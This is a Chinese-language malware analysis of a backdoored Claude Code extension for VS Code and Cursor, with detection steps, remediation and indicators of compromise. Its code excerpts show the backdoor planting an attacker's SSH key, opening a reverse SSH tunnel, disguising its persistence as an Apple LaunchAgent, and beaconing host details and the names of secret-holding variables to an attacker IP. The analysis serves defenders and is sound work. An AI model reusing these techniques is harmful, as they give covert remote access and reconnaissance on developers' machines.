Claude Code VSCode 插件遭植入 SSH 后门
安全公司 Phorion 发现 Cursor Marketplace 上的官方 Claude Code for VS Code 扩展(版本 2.1.313)被植入持久化 SSH 后门。该恶意代码支持 macOS、Linux 和 Windows,旨在建立隐蔽隧道并获取系统权限。Cursor 已紧急下架相关版本并从 NPM 及 VSCode 注册表中移除。
报道正文
本文目录17 个章节
TL;DR
Phorion 在 Cursor Marketplace 上检测到官方 Claude Code for VS Code 扩展包中存在一个后门,该后门会在 macOS、Linux 和 Windows 系统中植入持久化的 SSH 后门。本文主要聚焦于 macOS,探讨该扩展如何尝试配置 SSH 后门并建立持久化机制。
各组织应立即排查其环境中是否使用了版本为 2.1.313 的 Claude Code for VSCode 扩展,若发现使用该扩展,应启动事件响应流程。
Phorion 发现 Cursor Marketplace 上的官方 Claude Code for VS Code 扩展遭到入侵,被植入后门的扩展包中包含一个持久化的 Secure Shell (SSH) 后门。Cursor 已从其市场下架相关版本,并从各自的注册表中移除了 NPM 和 VSCode 的 2.1.313 版本。
尽管该植入程序包含针对 macOS、Linux 和 Windows 的安装与持久化逻辑,但本文将主要聚焦于 macOS,并在过程中指出其他平台的关键差异及若干实现缺陷。
Cursor Marketplace 为 Cursor 编辑器提供扩展服务。由于扩展以 IDE 及其运行用户的权限执行,一旦模块加载,被植入后门的扩展即可立即访问本地文件、源代码和开发者工具。
值得注意的是,Phorion 发现恶意软件在尝试启用 SSH 时存在一处可能的疏漏。其安装逻辑假设可以在没有 root 权限的情况下检查当前的远程登录(Remote Login)状态。当以标准用户身份运行时,systemsetup -getremotelogin 会打印管理员权限错误并以状态码 0 退出,而不是返回 Off。由于脚本仅在输出匹配 Off 时才尝试启用 SSH,因此完全跳过了启用步骤。对于尚未运行 SSH 的 Mac 而言,这一失误破坏了入站访问路径,尽管 SSH 密钥和持久化机制仍会被植入。
在本文中,我们将深入剖析该后门的工作原理、为何 macOS 上的检查会失败,以及在您的设备集群中需要关注哪些迹象。该载荷的目标是获取长期的交互式访问权限,虽然 SSH 后门漏洞降低了其在 macOS 上的影响,但该恶意软件仍然构成重大威胁,它会安装持久化机制并将主机侦察信息回传给攻击者。
感染链
Cursor Marketplace 扩展
被篡改的 extension.js 文件开头包含一个注入的立即执行函数表达式(IIFE),该 IIFE 被前置到压缩后的扩展程序包中。包的其余部分看起来与标准扩展程序无异,包含 Claude Code 和 VS Code 字符串、正常的 activate 和 deactivate 导出以及 UI 代码。
注入的前缀引入了标准的 Node.js 模块(child_process、fs、os、path、http 和 crypto),并在 Node 加载文件时立即执行,甚至在扩展程序的正常 activate 回调运行之前。用户无需与扩展程序进行任何交互,恶意载荷即可触发。
阶段 1 - 准备 SSH 访问
首先,恶意载荷确保 ~/.ssh 目录存在,并将攻击者控制的 Ed25519 公钥追加到 ~/.ssh/authorized_keys 文件中,同时将目录权限设置为 0700,文件权限设置为 0600。
该密钥使用的注释为 svc-telemetry。在追加之前,脚本会检查文件中是否已存在 svc-telemetry 字符串,而不是检查密钥本身。在排查此类活动时,建议检查公钥指纹,而不要仅依赖注释字符串。
var sd = path.join(HOME, ".ssh"),
ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
fs.appendFileSync(ak, PUB + "\n");
d.sshKey = "added"
} else {
d.sshKey = "present"
}在此处,cur 保存了 authorized_keys 文件的现有内容,而 PUB 是嵌入的攻击者公钥(此处已脱敏)。
一旦密钥就位,持有匹配私钥的任何人都可以以该用户身份进行身份验证,前提是 SSH 服务实际正在运行。脚本的下一步尝试确保本地 SSH 守护进程已启用并处于监听状态:
- Linux: 尝试通过
systemctl启用并启动sshd或ssh,如果失败则回退使用service和/etc/init.d/。 - macOS: 检查远程登录(Remote Login)状态,如果报告为
Off,则尝试通过sudo -n systemsetup -setremotelogin on启用它。 - Windows: 尝试使用 PowerShell 安装并启动 OpenSSH Server。
这些步骤均未包含提权漏洞利用。除非用户已经缓存或配置了免密码 sudo,否则非交互式 sudo -n 将会失败,因此在标准用户上下文中启动系统服务并不总能成功。
看起来 Windows 代码路径也存在自己的 bug:它通过一个硬编码了 /bin/sh 的辅助函数(det())来传递 PowerShell 服务设置命令,这在标准 Windows 安装上根本行不通。
macOS SSH 逻辑中的 Bug?
在 macOS 上,设置过程可能在执行到 sudo 命令之前就会遇到问题。脚本在未提权的情况下运行 systemsetup -getremotelogin,并将输出结果与正则表达式 /Off/i 进行匹配测试。只有当输出包含 Off 时,它才会尝试启用远程登录(Remote Login):
// ...
else if (PLAT === "darwin") {
var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
d.remoteLogin = rl;
if (/Off/i.test(rl)) {
det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
d.remoteLoginOn = "tried"
}
}请注意,第二条命令(-setremotelogin on)使用了 sudo -n,而第一条命令(-getremotelogin)却没有使用。当你在 macOS 上以普通用户身份运行 systemsetup -getremotelogin 时,你会得到如下输出:
You need administrator access to run this tool... exiting!systemsetup 拒绝在没有管理员权限的情况下读取该设置,将错误信息打印到 stdout,并以状态码 0 退出。恶意软件的 ex() 辅助函数会抓取 stdout 并返回其内容:
function ex(c, t) {
try {
return cp.execSync(c, {
timeout: t || 3000,
stdio: ["ignore", "pipe", "ignore"],
windowsHide: true
}).toString().trim()
} catch (e) {
return ""
}
}由于输出内容是 "You need administrator access to run this tool... exiting!",因此 /Off/i.test(rl) 的计算结果为 false。
结果是,脚本跳过了 if 代码块,从未运行 sudo -n systemsetup -setremotelogin on。它实际上将“我没有权限检查 SSH 是否关闭”等同于“SSH 已经开启”,这也解释了为什么当扩展以普通用户身份运行时,你在进程遥测数据中看不到任何启用尝试。
这个 bug 可能会破坏访问链的最后一步。 如果 Mac 上的远程登录尚未启用,出站隧道仍然可以连接到攻击者的服务器,但通过隧道转发回来的任何流量都会命中 localhost 上已关闭的 22 端口。
当然,这并不能作为一种可靠的防御手段。如果用户此前已经启用了远程登录,或者后来手动开启了它,后门就会随时待命。
第二阶段 - 建立反向 SSH 隧道
接下来,脚本以 tunnel 用户身份在端口 22 上建立到 134.209.82[.]225 的出站 SSH 连接。为了对攻击者的服务器进行身份验证,它会解码一个单独嵌入的私钥:这是一个未加密的 OpenSSH Ed25519 密钥,注释为 svc-telemetry-tun。
在调查过程中,务必区分这两个密钥:
- 添加到
~/.ssh/authorized_keys中的公钥(svc-telemetry)允许攻击者登录受害者的机器。 - 嵌入的私钥(
svc-telemetry-tun)允许受害者的机器向外连接到攻击者的隧道服务器。
该脚本将此隧道密钥写入操作系统临时目录,文件名以 .stk_ 开头,后跟主机名和主目录路径 MD5 哈希值的前十个字符:
var kf = path.join(
TMP,
".stk_" + crypto.createHash("md5")
.update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";隧道使用 -R *:0:localhost:22 进行远程端口转发。传入 0 会请求攻击者的 SSH 服务器动态分配一个监听端口,并将任何到达该端口的流量通过隧道转发回受害者机器上的 localhost:22:
受影响的主机 -- 出站 SSH 隧道 --> 外部 SSH 服务器
操作员 -- 独立连接 --> 服务器分配的端口
|
通过现有隧道
|
v
受影响主机的 SSH:22
|
使用植入的密钥登录由于隧道运行时带有 -N 参数,它仅保持端口转发打开,而不在远程服务器上执行命令。当操作员想要访问该机器时,他们会通过其服务器上分配的端口启动一个独立的 SSH 会话,并使用第一阶段植入的密钥对受害者本地的 SSH 守护进程进行身份验证。这使他们能够获得完整的交互式 shell 和文件传输功能,而无需在 JavaScript 本身中处理任何自定义 C2 命令。
SSH 命令还传递了若干标志,以保持连接静默且非交互式:禁用主机密钥检查、忽略 known_hosts、启用 BatchMode 和 IdentitiesOnly、将保活时间设置为 30 秒(ServerAliveCountMax=3),并开启 ExitOnForwardFailure。
如果安装了 autossh,脚本会使用它;否则回退到标准的 ssh。它将连接封装在一个分离的重试循环中,每次尝试之间休眠 60 秒,并在 Unix 系统上使用 pgrep 以避免启动重复的初始隧道。由于该循环是分离运行的,即使用户关闭 IDE,隧道仍会保持活动状态。
阶段 3 - 保持访问可用
为了在重启后存活,脚本除了建立初始分离隧道外,还设置了特定于平台的持久化机制:
| 平台 | 工件 | 持久化机制 | 备注 |
|---|---|---|---|
| Linux | ~/.config/.smt, ~/.config/.smtk | 写入一个 shell 脚本,用于重建隧道密钥并循环 SSH 连接,然后在用户的 crontab 中添加一个 @reboot 条目。 | crontab 检查中存在一个 bug,可能在重复运行时清除现有的用户 cron 任务(详见下文)。 |
| macOS | ~/.config/.smt, ~/.config/.smtk, ~/Library/LaunchAgents/com.apple.sysmond.plist | 写入一个用户 LaunchAgent,以 RunAtLoad 和 KeepAlive 设置为 true 的方式运行 /bin/sh ~/.config/.smt,然后通过 launchctl 加载它。 | 在用户上下文中运行,而非作为 root LaunchDaemon。 |
| Windows | ~/.config/smt.cmd, ~/.config/smtk, %APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd | 尝试创建一个名为 SysMon 的计划任务,以 SYSTEM 身份在启动时运行。如果失败,则将 sysmon.cmd 放入用户的 Startup 文件夹。 | 创建 SYSTEM 任务需要管理员权限;Startup 文件夹的回退方案在登录时以用户身份运行。 |
在 macOS 和 Linux 上,~/.config/.smt 脚本内部嵌入了隧道私钥,并在启动重连循环之前将其写出到 ~/.config/.smtk。
在 macOS 上,LaunchAgent 伪装成位于 ~/Library/LaunchAgents/ 中的 com.apple.sysmond.plist:
<key>Label</key>
<string>com.apple.sysmond</string>
<!-- ... -->
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>阶段 4 - 主机侦察
最后,脚本收集基本的主机侦察信息,并向攻击者的服务器发送一次性信标:
- 主机名、用户名、操作系统平台及架构
- 主目录、当前工作目录以及全局 Git 邮箱(
git config --global user.email) - 公网 IP 地址及各安装阶段的状态标志(例如是否已添加 SSH 密钥,以及执行了哪种持久化方法)
- 最多 40 个匹配正则表达式
/KEY|TOKEN|SECRET|PASS|AWS|GCP/i的环境变量名称(而非值)
环境变量检查使用了 Object.keys(process.env):
Object.keys(process.env)
.filter(function(k) {
return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)
})
.slice(0, 40)由于它仅获取变量名称,该信标(beacon)不会泄露机密值本身。相反,它为攻击者提供了一份快速清单,列出机器上存在哪些云凭证或 API 令牌,从而让他们知道应优先针对哪些主机。
为了获取机器的公网 IP,脚本查询 ifconfig[.]me,如果失败则回退到 api[.]ipify[.]org。
随后,它通过明文 HTTP POST 请求将 JSON 报告发送到 134.209.82[.]225:8099 和 127.0.0.1:8099 上的 /beacon 端点:
var r = http.request({
host: h,
port: p,
path: "/beacon",
method: "POST",
timeout: 3000,
headers: {"content-type": "application/json"}
}, function(res) {
res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()从样本中无法明确看出为何还要向 127.0.0.1:8099 发送一份信标副本;脚本本身并未在该端口设置本地监听器。
该信标通过 setTimeout 调度一次(在初始安装运行后 1.5 秒),并通过 res.resume() 丢弃任何 HTTP 响应。这纯粹是一个签到机制,用于告知攻击者主机已就绪,而实际的访问则由 SSH 隧道处理。
检测机会
从检测角度来看,在 macOS 上使用 Endpoint Security Framework (ESF) 遥测数据时,此攻击链中有几种行为非常显眼。
SSH 密钥与配置更改
由于恶意软件直接使用 Node.js 的 fs.appendFileSync 追加内容到 ~/.ssh/authorized_keys,因此仅监控如 echo 或 tee 等触及 authorized_keys 的 shell 命令的进程规则将无法捕获此行为。这就是文件修改遥测数据至关重要的地方:需要监控 IDE 辅助进程(如 Code Helper、Cursor Helper 等)创建或写入 ~/.ssh/authorized_keys 的行为。
尽管 IDE 二进制文件本身具有有效的数字签名,但其扩展宿主进程在后台修改 SSH 身份验证文件是完全不合理的。
虽然你也应当监控 systemsetup -setremotelogin on 命令,但不要将其作为针对此攻击活动发出警报的必要条件。正如上文所述,macOS 上的状态检查存在缺陷,这意味着该命令往往根本不会执行。
用户 LaunchAgent 持久化
macOS 上的持久化设置为我们提供了几个强有力的信号:
- 一个非 Apple 进程写入带有
com.apple.*标签的 plist 文件(~/Library/LaunchAgents/com.apple.sysmond.plist)。 - 一个配置为在用户主目录中针对隐藏脚本执行
/bin/sh的 LaunchAgent(~/.config/.smt)。
由于初始隧道是作为分离进程生成的,且后续由 launchd 直接管理 .smt,因此在实时进程树中,后续的 ssh 进程不会以 IDE 作为其直接父进程。将 .smt 和 com.apple.sysmond.plist 的文件创建行为与 IDE 扩展主机关联起来,可以更容易地拼凑出完整的攻击链。
在进程和网络层面,请查找以下迹象:
- 使用远程端口转发(
-R *:0:localhost:22)启动的ssh或autossh,且身份文件来自/tmp/.stk_*或~/.config/.smtk。 - 向
134.209.82[.]225的 22 端口发起出站 SSH 连接,以及向134.209.82[.]225:8099发送 HTTP POST 请求(同时伴随对127.0.0.1:8099的连接尝试)。
如果你发现某台主机运行了此扩展,重要的是要检查隧道是仅仅建立了连接,还是攻击者实际上通过它登录了系统。由于入站会话是通过本地端口转发到达的,SSH 日志中的成功登录记录将显示为来自 localhost(127.0.0.1 或 ::1),并使用 svc-telemetry 密钥进行认证。
补救措施
如果你识别出受影响的主机,仅卸载该扩展并不能移除后门。请确保你的响应措施涵盖其植入的所有阶段:
- 终止活跃的隧道进程: 结束
/bin/sh重试循环,以及任何连接到134.209.82[.]225的ssh或autossh进程。 - 移除持久化机制: 在 macOS 上卸载并删除
~/Library/LaunchAgents/com.apple.sysmond.plist(或在 Linux 上清理@rebootcron 条目 / 在 Windows 上清理SysMon计划任务和启动脚本),并删除~/.config/.smt和~/.config/.smtk。 - 清理 SSH 密钥和状态: 从
~/.ssh/authorized_keys中移除svc-telemetry公钥,删除/tmp/.stk_*,并验证远程登录(SSH)是否被意外启用。 - 轮换凭证: 如果主机启用了 SSH,或者有证据表明存在入站登录行为,请轮换该用户账户可访问的任何凭证或令牌(特别是那些匹配
KEY|TOKEN|SECRET|PASS|AWS|GCP环境变量过滤器的凭证)。
Phorion 的应对方案
Phorion 开箱即用的检测覆盖范围通过多条规则标记了此次攻击中使用的 macOS 持久化机制,包括非 Apple 进程创建 com.apple.* LaunchAgents,以及 LaunchAgents 执行来自隐藏目录的 shell 脚本。
除了持久化机制外,Phorion 的文件访问遥测功能捕获到了 IDE 扩展宿主直接修改 ~/.ssh/authorized_keys 的行为,并且可以使用 Phorion Protections 锁定 ~/.ssh/ 目录,从而确保只有授权进程才能读取或修改 SSH 密钥和配置文件。
如果您想了解 Phorion 如何在您的 Mac 设备群中检测和阻止此类供应链威胁,请 联系我们安排演示。
指标
样本与公钥指纹
| 指标 | 值 | 备注 |
|---|---|---|
| SHA-256 | ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 | 被植入后门的 extension.js 包 |
| 受害者登录公钥指纹 | SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk | 追加到 ~/.ssh/authorized_keys 中的 Ed25519 密钥(注释为 svc-telemetry) |
| 隧道公钥指纹 | SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ | 用于向隧道服务器进行身份验证的嵌入式 Ed25519 密钥(注释为 svc-telemetry-tun) |
网络指标
| 指标 | 类型 | 备注 |
|---|---|---|
134.209.82[.]225 (TCP 22, user tunnel) | IP / SSH | 出站反向 SSH 隧道服务器 |
134.209.82[.]225:8099 (POST /beacon) | IP / HTTP | 外部主机报告信标端点 |
127.0.0.1:8099 (POST /beacon) | Loopback / HTTP | 本地信标目标 |
ifconfig[.]me, api[.]ipify[.]org | Domain | 用于查询公共 IP 的合法服务 |
主机痕迹
| 痕迹 | 平台 | 备注 |
|---|---|---|
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64 | macOS (Apple Silicon) | 已安装的扩展目录(<ide> 因编辑器而异) |
~/.ssh/authorized_keys (comment svc-telemetry) | All | 植入的 Ed25519 公钥 |
<TMP>/.stk_<10 hex chars> ($TMPDIR/.stk_* on macOS) | All | 操作系统临时目录中的初始隧道私钥(后缀为 MD5(hostname + HOME) 的前 10 个十六进制字符) |
~/.config/.smt and ~/.config/.smtk | macOS, Linux | 持久化 Shell 脚本及重建的隧道私钥 |
~/Library/LaunchAgents/com.apple.sysmond.plist | macOS | 执行 /bin/sh ~/.config/.smt 的用户 LaunchAgent |
@reboot cron entry for ~/.config/.smt | Linux | 用户 crontab 持久化 |
~/.config/smt.cmd and ~/.config/smtk | Windows | 持久化批处理脚本及隧道私钥 |
Scheduled task SysMon | Windows | 启动计划任务(请求 SYSTEM 权限) |
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd | Windows | 启动文件夹备用脚本 |